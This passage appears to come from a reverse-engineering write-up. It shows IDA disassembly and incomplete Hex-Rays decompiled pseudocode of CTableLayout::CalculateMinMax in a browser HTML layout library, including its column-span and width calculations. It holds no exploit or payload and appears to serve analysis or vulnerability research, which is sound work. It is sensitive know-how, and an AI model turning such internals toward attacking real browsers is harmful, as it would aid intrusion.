.text:74D2A31D FF 76 0C push dword ptr [esi+0Ch] ; struct CLayoutContext *
.text:74D2A320 89 86 90 00 00 00 mov [esi+90h], eax
.text:74D2A326 8B 0F mov ecx, [edi] ; this
.text:74D2A328 E8 D7 8F 0E 00 call ?GetUpdatedLayout@CElement@@QAEPAVCLayout@@PAVCLayoutContext@@@Z ; CElement::GetUpdatedLayout(CLayoutContext *)
.text:74D2A328
.text:74D2A32D 89 86 8C 00 00 00 mov [esi+8Ch], eax
.text:74D2A333 8B 45 08 mov eax, [ebp+arg_0]
.text:74D2A336 8B B3 9C 00 00 00 mov esi, [ebx+9Ch]
.text:74D2A33C 89 45 F4 mov [ebp+var_C], eax
.text:74D2A33F 85 C0 test eax, eax
.text:74D2A33F
.text:74D2A341
.text:74D2A341 loc_74D2A341: ; CODE XREF: CTableLayout::CalculateMinMax(CTableCalcInfo *,int)+30B↓j
.text:74D2A341 89 75 D8 mov [ebp+var_28], esi
.text:74D2A344 7E 3F jle short loc_74D2A385
.text:74D2A344
.text:74D2A346 F6 46 14 20 test byte ptr [esi+14h], 20h
.text:74D2A34A 75 18 jnz short loc_74D2A364
.text:74D2A34A
.text:74D2A34C 8B 45 C0 mov eax, [ebp+var_40]
.text:74D2A34F 8B 08 mov ecx, [eax]
.text:74D2A351 8B C1 mov eax, ecx
.text:74D2A353 83 E0 FC and eax, 0FFFFFFFCh
.text:74D2A356 F7 D1 not ecx
.text:74D2A358 89 45 A4 mov [ebp+var_5C], eax
.text:74D2A35B F6 C1 01 test cl, 1
.text:74D2A35E 0F 85 28 17 00 00 jnz loc_74D2BA8C
.text:74D2A35E
.text:74D2A364
.text:74D2A364 loc_74D2A364: ; CODE XREF: CTableLayout::CalculateMinMax(CTableCalcInfo *,int)+2D2↑j
.text:74D2A364 C7 45 C4 01 00 00 00 mov [ebp+var_3C], 1
.text:74D2A364
.text:74D2A36B
.text:74D2A36B loc_74D2A36B: ; CODE XREF: CTableLayout::CalculateMinMax(CTableCalcInfo *,int)+1A4D↓j
.text:74D2A36B ; CTableLayout::CalculateMinMax(CTableCalcInfo *,int)+1BC6↓j
.text:74D2A36B ; CTableLayout::CalculateMinMax(CTableCalcInfo *,int)+1BD3↓j
.text:74D2A36B ; CTableLayout::CalculateMinMax(CTableCalcInfo *,int)+1BEA↓j
.text:74D2A36B 8B 45 C4 mov eax, [ebp+var_3C]
.text:74D2A36E 8B 4D C0 mov ecx, [ebp+var_40]
.text:74D2A371 29 45 F4 sub [ebp+var_C], eax
.text:74D2A374 8D 0C 81 lea ecx, [ecx+eax*4]
.text:74D2A377 6B C0 1C imul eax, 1Ch
.text:74D2A37A 03 F0 add esi, eax
.text:74D2A37C 83 7D F4 00 cmp [ebp+var_C], 0
.text:74D2A380 89 4D C0 mov [ebp+var_40], ecx
.text:74D2A383 EB BC jmp short loc_74D2A341
.text:74D2A383
.text:74D2A385 ; ---------------------------------------------------------------------------
.text:74D2A385
.text:74D2A385 loc_74D2A385: ; CODE XREF: CTableLayout::CalculateMinMax(CTableCalcInfo *,int)+24D↑j
.text:74D2A385 ; CTableLayout::CalculateMinMax(CTableCalcInfo *,int)+2CC↑j
.text:74D2A385 FF 4D E0 dec [ebp+var_20]
.text:74D2A388 83 45 EC 04 add [ebp+var_14], 4
.text:74D2A38C 83 7D E0 00 cmp [ebp+var_20], 0
.text:74D2A390 0F 8F 20 FF FF FF jg loc_74D2A2B6
.text:74D2A390
.text:74D2A396 83 7D DC 00 cmp [ebp+var_24], 0
.text:74D2A39A 74 30 jz short loc_74D2A3CC
.text:74D2A39A
.text:74D2A39C 8B 85 7C FF FF FF mov eax, [ebp+var_84]
.text:74D2A3A2 83 65 C0 00 and [ebp+var_40], 0
.text:74D2A3A6 83 65 E4 00 and [ebp+var_1C], 0
.text:74D2A3AA C1 E8 02 shr eax, 2
.text:74D2A3AD 85 C0 test eax, eax
.text:74D2A3AF 0F 8F 03 53 19 00 jg loc_74EBF6B8
.text:74D2A3AF
.text:74D2A3B5
.text:74D2A3B5 loc_74D2A3B5: ; CODE XREF: CTableLayout::CalculateMinMax(CTableCalcInfo *,int)+195701↓j
.text:74D2A3B5 8B 45 DC mov eax, [ebp+var_24]
.text:74D2A3B8 2B 45 C0 sub eax, [ebp+var_40]
.text:74D2A3BB 74 0F jz short loc_74D2A3CC
.text:74D2A3BB
.text:74D2A3BD FF 75 10 push [ebp+arg_8]
.text:74D2A3C0 FF 75 D4 push [ebp+var_2C] ; int
.text:74D2A3C3 FF 75 0C push [ebp+arg_4] ; struct CTableColCalc *
.text:74D2A3C6 53 push ebx ; struct CTableCalcInfo *
.text:74D2A3C7 E8 5F AB F4 FF call ?AdjustForColSpan@CTableLayout@@QAEXPAVCTableCalcInfo@@PAVCTableColCalc@@H@Z ; CTableLayout::AdjustForColSpan(CTableCalcInfo *,CTableColCalc *,int)
.text:74D2A3C7
.text:74D2A3CC
.text:74D2A3CC loc_74D2A3CC: ; CODE XREF: CTableLayout::CalculateMinMax(CTableCalcInfo *,int)+238↑j
.text:74D2A3CC ; CTableLayout::CalculateMinMax(CTableCalcInfo *,int)+322↑j
.text:74D2A3CC ; CTableLayout::CalculateMinMax(CTableCalcInfo *,int)+343↑j
.text:74D2A3CC 8B 43 44 mov eax, [ebx+44h]
.text:74D2A3CF A8 02 test al, 2
.text:74D2A3D1 74 0B jz short loc_74D2A3DE
.text:74D2A3D1
.text:74D2A3D3 A9 00 04 00 00 test eax, 400h
.text:74D2A3D8 0F 85 03 87 FD FF jnz loc_74D02AE1
.text:74D2A3D8
.text:74D2A3DE
.text:74D2A3DE loc_74D2A3DE: ; CODE XREF: CTableLayout::CalculateMinMax(CTableCalcInfo *,int)+359↑j
.text:74D2A3DE 8B 4D 0C mov ecx, [ebp+arg_4]
.text:74D2A3E1 F6 41 7C 04 test byte ptr [ecx+7Ch], 4
.text:74D2A3E5 0F 85 F6 86 FD FF jnz loc_74D02AE1
.text:74D2A3E5
.text:74D2A3EB
.text:74D2A3EB loc_74D2A3EB: ; CODE XREF: CTableLayout::CalculateMinMax(CTableCalcInfo *,int)-A7427↑j
.text:74D2A3EB ; CTableLayout::CalculateMinMax(CTableCalcInfo *,int)-A740E↑j
.text:74D2A3EB ; CTableLayout::CalculateMinMax(CTableCalcInfo *,int)-2758F↑j
.text:74D2A3EB ; CTableLayout::CalculateMinMax(CTableCalcInfo *,int)+195433↓j
.text:74D2A3EB 8B 83 34 01 00 00 mov eax, [ebx+134h]
.text:74D2A3F1 85 C0 test eax, eax
.text:74D2A3F3 0F 85 8B 53 19 00 jnz loc_74EBF784
.text:74D2A3F3
.text:74D2A3F9
.text:74D2A3F9 loc_74D2A3F9: ; CODE XREF: CTableLayout::CalculateMinMax(CTableCalcInfo *,int)+195748↓j
.text:74D2A3F9 33 C9 xor ecx, ecx
.text:74D2A3FB 33 C0 xor eax, eax
.text:74D2A3FD 39 4D 08 cmp [ebp+arg_0], ecx
.text:74D2A400 74 3E jz short loc_74D2A440
.text:74D2A400
.text:74D2A402 8B B3 9C 00 00 00 mov esi, [ebx+9Ch]
.text:74D2A408 3B 75 D4 cmp esi, [ebp+var_2C]
.text:74D2A40B 77 33 ja short loc_74D2A440
.text:74D2A40B
.text:74D2A40D 8B 53 44 mov edx, [ebx+44h]
.text:74D2A410 C1 EA 15 shr edx, 15h
.text:74D2A413 83 E2 01 and edx, 1
.text:74D2A413
.text:74D2A416
.text:74D2A416 loc_74D2A416: ; CODE XREF: CTableLayout::CalculateMinMax(CTableCalcInfo *,int)+3C6↓j
.text:74D2A416 03 46 04 add eax, [esi+4]
.text:74D2A419 03 0E add ecx, [esi]
.text:74D2A41B BF FF FF FF 3F mov edi, 3FFFFFFFh
.text:74D2A420 3B C7 cmp eax, edi
.text:74D2A422 0F 8F A0 53 19 00 jg loc_74EBF7C8
.text:74D2A422
.text:74D2A428
.text:74D2A428 loc_74D2A428: ; CODE XREF: CTableLayout::CalculateMinMax(CTableCalcInfo *,int)+195752↓j
.text:74D2A428 85 D2 test edx, edx
.text:74D2A42A 75 0C jnz short loc_74D2A438
.text:74D2A42A
.text:74D2A42C F6 46 14 28 test byte ptr [esi+14h], 28h
.text:74D2A430 75 06 jnz short loc_74D2A438
.text:74D2A430
.text:74D2A432 FF 83 E0 00 00 00 inc dword ptr [ebx+0E0h]
.text:74D2A432
.text:74D2A438
.text:74D2A438 loc_74D2A438: ; CODE XREF: CTableLayout::CalculateMinMax(CTableCalcInfo *,int)+3B2↑j
.text:74D2A438 ; CTableLayout::CalculateMinMax(CTableCalcInfo *,int)+3B8↑j
.text:74D2A438 83 C6 1C add esi, 1Ch
.text:74D2A43B 3B 75 D4 cmp esi, [ebp+var_2C]
.text:74D2A43E 76 D6 jbe short loc_74D2A416
.text:74D2A43E
.text:74D2A440
.text:74D2A440 loc_74D2A440: ; CODE XREF: CTableLayout::CalculateMinMax(CTableCalcInfo *,int)+388↑j
.text:74D2A440 ; CTableLayout::CalculateMinMax(CTableCalcInfo *,int)+393↑j
.text:74D2A440 39 4B 58 cmp [ebx+58h], ecx
.text:74D2A443 7D 03 jge short loc_74D2A448
.text:74D2A443
.text:74D2A445 89 4B 58 mov [ebx+58h], ecx
.text:74D2A445
.text:74D2A448
.text:74D2A448 loc_74D2A448: ; CODE XREF: CTableLayout::CalculateMinMax(CTableCalcInfo *,int)+3CB↑j
.text:74D2A448 39 43 60 cmp [ebx+60h], eax
.text:74D2A44B 7D 03 jge short loc_74D2A450
.text:74D2A44B
.text:74D2A44D 89 43 60 mov [ebx+60h], eax
.text:74D2A44D
.text:74D2A450
.text:74D2A450 loc_74D2A450: ; CODE XREF: CTableLayout::CalculateMinMax(CTableCalcInfo *,int)+3D3↑j
.text:74D2A450 8B 4B 58 mov ecx, [ebx+58h]
.text:74D2A453 33 D2 xor edx, edx
.text:74D2A455 3B CA cmp ecx, edx
.text:74D2A457 0F 84 B1 7A 00 00 jz loc_74D31F0E
.text:74D2A457
.text:74D2A45D
.text:74D2A45D loc_74D2A45D: ; CODE XREF: CTableLayout::CalculateMinMax(CTableCalcInfo *,int)+7E9F↓j
.text:74D2A45D 8B 83 E0 00 00 00 mov eax, [ebx+0E0h]
.text:74D2A463 40 inc eax
.text:74D2A464 0F AF 83 C0 00 00 00 imul eax, [ebx+0C0h]
.text:74D2A46B 03 83 BC 00 00 00 add eax, [ebx+0BCh]
.text:74D2A471 03 83 B4 00 00 00 add eax, [ebx+0B4h]
.text:74D2A477 03 C8 add ecx, eax
.text:74D2A479 01 43 60 add [ebx+60h], eax
.text:74D2A47C 89 4B 58 mov [ebx+58h], ecx
.text:74D2A47C
.text:74D2A47F
.text:74D2A47F loc_74D2A47F: ; CODE XREF: CTableLayout::CalculateMinMax(CTableCalcInfo *,int)+7E99↓j
.text:74D2A47F 39 55 94 cmp [ebp+var_6C], edx
.text:74D2A482 0F 85 47 53 19 00 jnz loc_74EBF7CF
.text:74D2A482
.text:74D2A488
.text:74D2A488 loc_74D2A488: ; CODE XREF: CTableLayout::CalculateMinMax(CTableCalcInfo *,int)+195766↓j
.text:74D2A488 ; CTableLayout::CalculateMinMax(CTableCalcInfo *,int)+19577A↓j
.text:74D2A488 ; CTableLayout::CalculateMinMax(CTableCalcInfo *,int)+195783↓j
.text:74D2A488 8B B3 4C 01 00 00 mov esi, [ebx+14Ch]
.text:74D2A48E 8B 83 54 01 00 00 mov eax, [ebx+154h]
.text:74D2A494 C1 EE 02 shr esi, 2
.text:74D2A497 3B F2 cmp esi, edx
.text:74D2A499 89 45 10 mov [ebp+arg_8], eax
.text:74D2A49C 0F 8F 5E 53 19 00 jg loc_74EBF800
.text:74D2A49C
.text:74D2A4A2
.text:74D2A4A2 loc_74D2A4A2: ; CODE XREF: CTableLayout::CalculateMinMax(CTableCalcInfo *,int)+1957FB↓j
.text:74D2A4A2 83 7D B4 00 cmp [ebp+var_4C], 0
.text:74D2A4A6 0F 85 FB 2F F0 FF jnz loc_74C2D4A7
.text:74D2A4A6
.text:74D2A4AC
.text:74D2A4AC loc_74D2A4AC: ; CODE XREF: CTableLayout::CalculateMinMax(CTableCalcInfo *,int)-FCBCB↑j
.text:74D2A4AC ; CTableLayout::CalculateMinMax(CTableCalcInfo *,int)-FCBBF↑j
.text:74D2A4AC ; CTableLayout::CalculateMinMax(CTableCalcInfo *,int)+19525A↓j
.text:74D2A4AC 8B 85 70 FF FF FF mov eax, [ebp+var_90]
.text:74D2A4B2 8B 4D 0C mov ecx, [ebp+arg_4] ; this
.text:74D2A4B5 89 41 28 mov [ecx+28h], eax
.text:74D2A4B5
.text:74D2A4B8
.text:74D2A4B8 loc_74D2A4B8: ; CODE XREF: CTableLayout::CalculateMinMax(CTableCalcInfo *,int)-FCBE5↑j
.text:74D2A4B8 ; CTableLayout::CalculateMinMax(CTableCalcInfo *,int)+18E↑j
.text:74D2A4B8 8D 85 78 FF FF FF lea eax, [ebp+var_88]
.text:74D2A4BE E8 63 D6 0A 00 call ??1CImplAry@@QAE@XZ ; CImplAry::~CImplAry(void)
.text:74D2A4BE
.text:74D2A4C3 5F pop edi
.text:74D2A4C4 5E pop esi
.text:74D2A4C5 5B pop ebx
.text:74D2A4C6 C9 leave
.text:74D2A4C7 C2 0C 00 retn 0Ch
.text:74D2A4C7
.text:74D2A4C7 ?CalculateMinMax@CTableLayout@@QAEXPAVCTableCalcInfo@@H@Z endp
.text:74D2A4C7
.text:74D2A4C7 ; ---------------------------------------------------------------------------

其反编译代码为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
void __thiscall CTableLayout::CalculateMinMax(
CTableLayout *this,
struct CTableCalcInfo *a2,
struct tagSIZE *a3,
int a4)
{
int v4; // edx
struct CTableRowLayout *v5; // eax
int v6; // eax
_DWORD *v7; // eax
int v8; // ecx
int v9; // eax
int v10; // ecx
int v11; // ecx
_DWORD *v12; // eax
int v13; // eax
unsigned int v14; // eax
int v15; // edi
BOOL v16; // edi
int v17; // eax
CElement *v18; // eax
CTreeNode *v19; // ecx
CUnitValue *v20; // ecx
int IsNullOrEnum; // eax
CTableCell *v22; // ecx
int v23; // edx
int v24; // eax
unsigned int v25; // eax
int v26; // ecx
int v27; // edi
struct CWidthUnitValue *v28; // eax
int v29; // eax
CLayout *v31; // ecx
CElement *v32; // esi
struct tagSIZE *v33; // esi
CTable *v34; // ecx
int AAcols; // eax
CUnitValue *v36; // ecx
BOOL v37; // eax
int v38; // eax
_DWORD *v39; // esi
CTableLayout *v40; // ecx
CTableLayout *v41; // eax
int v42; // edi
struct CTableRowLayout *v43; // eax
struct CTableRowLayout *v44; // esi
CTreeNode *v45; // ecx
const struct CCharFormat *CharFormat; // eax
CElement **v47; // edi
const struct CFancyFormat *FancyFormat; // eax
bool v49; // cc
int v50; // ecx
int v51; // eax
int v52; // eax
int v53; // ecx
int v54; // eax
int v55; // edx
int v56; // ecx
int v57; // edx
int v58; // eax
int v59; // esi
int v60; // ecx
CTableCell *v61; // ecx
CTableCell *v62; // ecx
CTableCellLayout *v63; // ecx
CUnitValue *v64; // ecx
int v65; // edx
int v66; // eax
bool v67; // zf
int v68; // eax
_BYTE *v69; // eax
int v70; // esi
CWidthUnitValue *v71; // edi
int v72; // eax
struct CLayout *UpdatedParentLayout; // eax
int v74; // eax
int v75; // eax
int NextRow; // eax
int v77; // eax
unsigned int v78; // eax
CTableCol *v80; // ecx
CUnitValue *v81; // ecx
int v82; // ecx
int v83; // eax
CTableCellLayout *UpdatedLayout; // eax
int BorderAndPaddingCore; // eax
int v86; // ecx
int v87; // eax
int v88; // eax
int *v89; // eax
CTableColCalc *v90; // edi
char *v91; // eax
int v92; // eax
int v93; // edi
int *v94; // ecx
int v95; // edx
int v96; // edi
struct CTableCellLayout *v97; // eax
CLayout *v98; // ecx
struct CCalcInfo *v99; // edi
CTableCellLayout *v100; // ecx
int v101; // eax
struct CLayoutContext *cy; // [esp-4h] [ebp-A8h]
struct CCalcInfo *v103; // [esp+0h] [ebp-A4h]
struct IUnknown **v104; // [esp+0h] [ebp-A4h]
struct CTableCalcInfo *v105; // [esp+4h] [ebp-A0h]
struct tagSIZE *v106; // [esp+8h] [ebp-9Ch]
int v107; // [esp+10h] [ebp-94h]
LONG cx; // [esp+14h] [ebp-90h]
int v109; // [esp+18h] [ebp-8Ch]
int v110; // [esp+34h] [ebp-70h]
BOOL v111; // [esp+38h] [ebp-6Ch] BYREF
CTableRowLayout *v112; // [esp+3Ch] [ebp-68h]
struct CTreeNode *v113; // [esp+40h] [ebp-64h]
BOOL v114; // [esp+44h] [ebp-60h]
CElement *v115; // [esp+48h] [ebp-5Ch]
CElement *v116; // [esp+4Ch] [ebp-58h]
int v117; // [esp+50h] [ebp-54h]
int v118; // [esp+54h] [ebp-50h]
int SpecifiedPixelWidth; // [esp+58h] [ebp-4Ch]
int v120; // [esp+5Ch] [ebp-48h]
CTableColCalc *v121; // [esp+60h] [ebp-44h]
struct CCalcInfo *v122; // [esp+64h] [ebp-40h]
int AAcolSpan; // [esp+68h] [ebp-3Ch]
int v124; // [esp+6Ch] [ebp-38h]
CWidthUnitValue *v125; // [esp+70h] [ebp-34h]
int PixelWidth; // [esp+74h] [ebp-30h]
int v127; // [esp+78h] [ebp-2Ch]
_DWORD *v128; // [esp+7Ch] [ebp-28h]
int i; // [esp+80h] [ebp-24h]
int v130; // [esp+84h] [ebp-20h]
int v131; // [esp+88h] [ebp-1Ch]
int v132; // [esp+8Ch] [ebp-18h]
CTableLayout *v133; // [esp+90h] [ebp-14h]
int v134; // [esp+94h] [ebp-10h]
struct CWidthUnitValue *v135; // [esp+98h] [ebp-Ch]
int v136; // [esp+9Ch] [ebp-8h]
int v137; // [esp+ACh] [ebp+8h]
int AAspan; // [esp+B4h] [ebp+10h]
CElement **v139; // [esp+B4h] [ebp+10h]
CElement **v140; // [esp+B4h] [ebp+10h]

cx = a3[5].cx;
v137 = *((_DWORD *)a2 + 21);
v120 = *((_DWORD *)a2 + 74) >> 2;
v128 = 0;
i = 0;
v136 = 0;
v125 = 0;
SpecifiedPixelWidth = CTableLayout::GetSpecifiedPixelWidth(this, (struct CTableCalcInfo *)&v111);
v127 = 0;
v116 = (CElement *)*((_DWORD *)a2 + 2);
v124 = (*((_DWORD *)a2 + 17) >> 9) & 1;
if ( v137 )
{
v31 = (CLayout *)(2 * v137);
v110 = 0x7FFFFFFF / (2 * v137);
}
else
{
v110 = 0x3FFFFFFF;
}
v32 = v116;
v114 = (*((_DWORD *)v116 + 7) & 0x200) != 0 && *((int *)CElement::GetMarkupPtr(v116) + 48) >= 70000;
if ( SpecifiedPixelWidth || v111 || (*(_BYTE *)CTreeNode::GetFancyFormat(*((CTreeNode **)v32 + 5)) & 0x20) != 0 )
{
v33 = a3;
v111 = 0;
}
else
{
v33 = a3;
if ( *((_DWORD *)a2 + 64) )
{
UpdatedParentLayout = CLayout::GetUpdatedParentLayout(v31, (struct CLayoutContext *)a3[1].cy);
if ( UpdatedParentLayout )
{
v31 = (CLayout *)*((_DWORD *)UpdatedParentLayout + 2);
LOBYTE(v31) = *((_BYTE *)v31 + 24);
if ( ((_BYTE)v31 == 100 || (_BYTE)v31 == 103 || (_BYTE)v31 == 19)
&& (*((_BYTE *)UpdatedParentLayout + 264) & 1) == 0 )
{
SpecifiedPixelWidth = CTableCellLayout::GetSpecifiedPixelWidth(v31, UpdatedParentLayout, (int)a3);
}
}
}
v111 = SpecifiedPixelWidth != 0;
}
v33[5].cx = 3;
CTableLayout::CalculateBorderAndSpacing(v31, a2);
*((_DWORD *)a2 + 22) = 0;
*((_DWORD *)a2 + 24) = 0;
v117 = 0;
v118 = 0;
*((_DWORD *)a2 + 56) = 0;
AAcols = CTable::GetAAcols(v34);
v36 = (CUnitValue *)v137;
if ( v137 >= AAcols )
v36 = (CUnitValue *)AAcols;
v131 = v137 - (_DWORD)v36;
*((_DWORD *)a2 + 20) = v36;
*((_DWORD *)a2 + 17) ^= (*((_DWORD *)a2 + 17) ^ ((v137 == (_DWORD)v36) << 8)) & 0x100;
v37 = (v33[5].cy & 1) != 0 && v36;
v124 |= v37;
if ( !a4 )
{
if ( *((_DWORD *)a2 + 37) >> 2 >= v137 )
goto LABEL_22;
if ( v137 < 0 )
{
v38 = -2147024809;
}
else
{
if ( (unsigned int)v137 <= *((_DWORD *)a2 + 38) )
{
LABEL_21:
v36 = (CUnitValue *)(4 * v137);
*((_DWORD *)a2 + 37) = (4 * v137) | *((_DWORD *)a2 + 37) & 3;
LABEL_22:
v39 = (_DWORD *)*((_DWORD *)a2 + 39);
v133 = 0;
v128 = v39;
if ( v137 > 0 )
{
do
{
v39[2] = 0;
v39[1] = 0;
*v39 = 0;
CUnitValue::SetNull(v36);
v40 = v133;
v39[5] &= 0xFFFFFFC1;
v39[3] = 0;
if ( CTableLayout::GetCol(v40, (int)v103) && CElement::IsDisplayNone(v36) )
v39[5] |= 0x20u;
v133 = (CTableLayout *)((char *)v133 + 1);
v39 += 7;
}
while ( (int)v133 < v137 );
v128 = v39;
}
if ( *(_DWORD *)(*((_DWORD *)a2 + 2) + 48) )
{
CTableLayout::LoadHistory(v36, *((struct IStream **)v116 + 12), v103);
ClearInterfaceFn(v104);
v77 = *((_DWORD *)a2 + 17);
if ( (v77 & 0x200000) != 0 )
goto LABEL_117;
if ( (v77 & 0x20000) != 0 )
{
v78 = v77 & 0xFFFDFFFF;
*((_DWORD *)a2 + 17) = v78;
if ( (v78 & 2) == 0 )
{
*((_DWORD *)a2 + 22) = -1;
*((_DWORD *)a2 + 24) = -1;
goto LABEL_66;
}
}
}
else
{
*((_DWORD *)a2 + 17) &= ~0x200000u;
}
if ( (*((_DWORD *)a2 + 17) & 0x2000) == 0 )
{
v130 = v120;
v41 = (CTableLayout *)*((_DWORD *)a2 + 76);
v42 = v120;
goto LABEL_30;
}
v134 = 0;
v124 = 0;
v132 = 0;
CTableLayout::GetFirstRow(v36);
if ( (*((_DWORD *)a2 + 74) & 0xFFFFFFFC) != 0 )
v5 = CTableRow::RowLayoutCache(*((CTableRow **)a2 + 76), v103);
else
v5 = 0;
v113 = v5;
if ( v5 )
{
v36 = (CUnitValue *)(*((_DWORD *)v5 + 16) >> 2);
if ( (int)v36 < v137 )
{
if ( CTableRowLayout::EnsureCells(v36, (int)v5) )
goto LABEL_67;
}
}
v13 = *((_DWORD *)a2 + 37) >> 2;
v136 = 0;
if ( v13 )
{
while ( 1 )
{
v14 = *((_DWORD *)a2 + 31);
v131 = 0;
if ( v136 < (int)(v14 >> 2) )
{
v36 = (CUnitValue *)v136;
v15 = *(_DWORD *)(*((_DWORD *)a2 + 33) + 4 * v136);
}
else
{
v15 = 0;
}
i = v15;
if ( !v15 )
goto LABEL_98;
if ( !CElement::IsDisplayNone(v36) )
break;
++v132;
LABEL_107:
v25 = *((_DWORD *)a2 + 37);
if ( ++v136 >= (int)(v25 >> 2) )
goto LABEL_108;
}
if ( CElement::IsDisplayNone(v36) )
{
LABEL_98:
AAspan = 1;
v16 = 0;
}
else
{
AAspan = CTableCol::GetAAspan(v80);
if ( AAspan >= 1000 )
AAspan = 1000;
v125 = (const struct CFancyFormat *)((char *)CTreeNode::GetFancyFormat(*(CTreeNode **)(i + 20)) + 112);
v16 = CUnitValue::IsNullOrEnum(v81) == 0;
}
if ( !v16 )
{
if ( i && AAspan != 1
|| !v113
|| (v17 = *(_DWORD *)(*((_DWORD *)v113 + 18) + 4 * v136), (v17 & 1) != 0)
|| (v18 = (CElement *)(v17 & 0xFFFFFFFC),
v19 = (CTreeNode *)*((_DWORD *)v18 + 5),
v115 = v18,
v125 = (const struct CFancyFormat *)((char *)CTreeNode::GetFancyFormat(v19) + 112),
IsNullOrEnum = CUnitValue::IsNullOrEnum(v20),
v16 = IsNullOrEnum == 0,
IsNullOrEnum) )
{
LABEL_104:
v23 = *((_DWORD *)a2 + 17);
v24 = (v23 & 0x100) != 0 && v16;
v36 = (CUnitValue *)AAspan;
*((_DWORD *)a2 + 17) = v23 ^ (v23 ^ (v24 << 8)) & 0x100;
v136 = v136 + AAspan - 1;
goto LABEL_107;
}
AAspan = CTableCell::GetAAcolSpan(v22);
if ( AAspan >= 1000 )
AAspan = 1000;
v131 = 1;
}
if ( CUnitValue::IsScalerUnit(*(_DWORD *)v125 & 0xF) )
{
PixelWidth = CWidthUnitValue::GetPixelWidth(v125, (const struct CDocInfo *)a3, 0, (int)v103);
if ( v114 )
{
if ( v113 )
{
v83 = *(_DWORD *)(*((_DWORD *)v113 + 18) + 4 * v136);
if ( (v83 & 1) == 0 )
{
UpdatedLayout = CElement::GetUpdatedLayout(
(CElement *)(v83 & 0xFFFFFFFC),
(struct CLayoutContext *)a3[1].cy);
BorderAndPaddingCore = CTableCellLayout::GetBorderAndPaddingCore(
UpdatedLayout,
1,
(const struct CDocInfo *)a3,
0,
0);
PixelWidth += BorderAndPaddingCore;
}
}
}
}
else
{
PixelWidth = *((_DWORD *)a2 + 12) * ((v82 >> 4) / 100) / 100;
}
v135 = (struct CWidthUnitValue *)PixelWidth;
if ( v131 )
{
v122 = (struct CCalcInfo *)AAspan;
v135 = (struct CWidthUnitValue *)(PixelWidth / AAspan);
}
else
{
v122 = (struct CCalcInfo *)1;
}
v133 = 0;
if ( AAspan > 0 )
{
v86 = 28 * v136;
v124 += AAspan;
for ( i = 28 * v136; ; v86 = i )
{
v128 = (_DWORD *)(v86 + *((_DWORD *)a2 + 39));
if ( v131 && AAspan > 1 && v133 == (CTableLayout *)(AAspan - 1) )
{
v86 = PixelWidth - (_DWORD)v135 * (AAspan - 1);
v135 = (struct CWidthUnitValue *)v86;
}
CTableColCalc::AdjustForCol((CTableColCalc *)v86, v135, (int)a3, v122, (int)v103);
v133 = (CTableLayout *)((char *)v133 + 1);
i += 28;
if ( (int)v133 >= AAspan )
break;
}
}
v134 += PixelWidth;
v39 = v128;
goto LABEL_104;
}
LABEL_108:
if ( v137 - v132 != v124 )
{
v26 = 1;
v135 = (struct CWidthUnitValue *)1;
if ( (0x3FFFFFFF - v134) / (v137 - v124) >= 1 )
v135 = (struct CWidthUnitValue *)((0x3FFFFFFF - v134) / (v137 - v124));
v27 = v137;
v39 = (_DWORD *)*((_DWORD *)a2 + 39);
while ( v27 > 0 )
{
if ( (v39[5] & 0x20) == 0 && CUnitValue::IsNullOrEnum((CUnitValue *)v26) )
{
v28 = v135;
*v39 = 1;
v39[1] = v28;
}
--v27;
v39 += 7;
}
}
LABEL_117:
if ( !v137 )
goto LABEL_47;
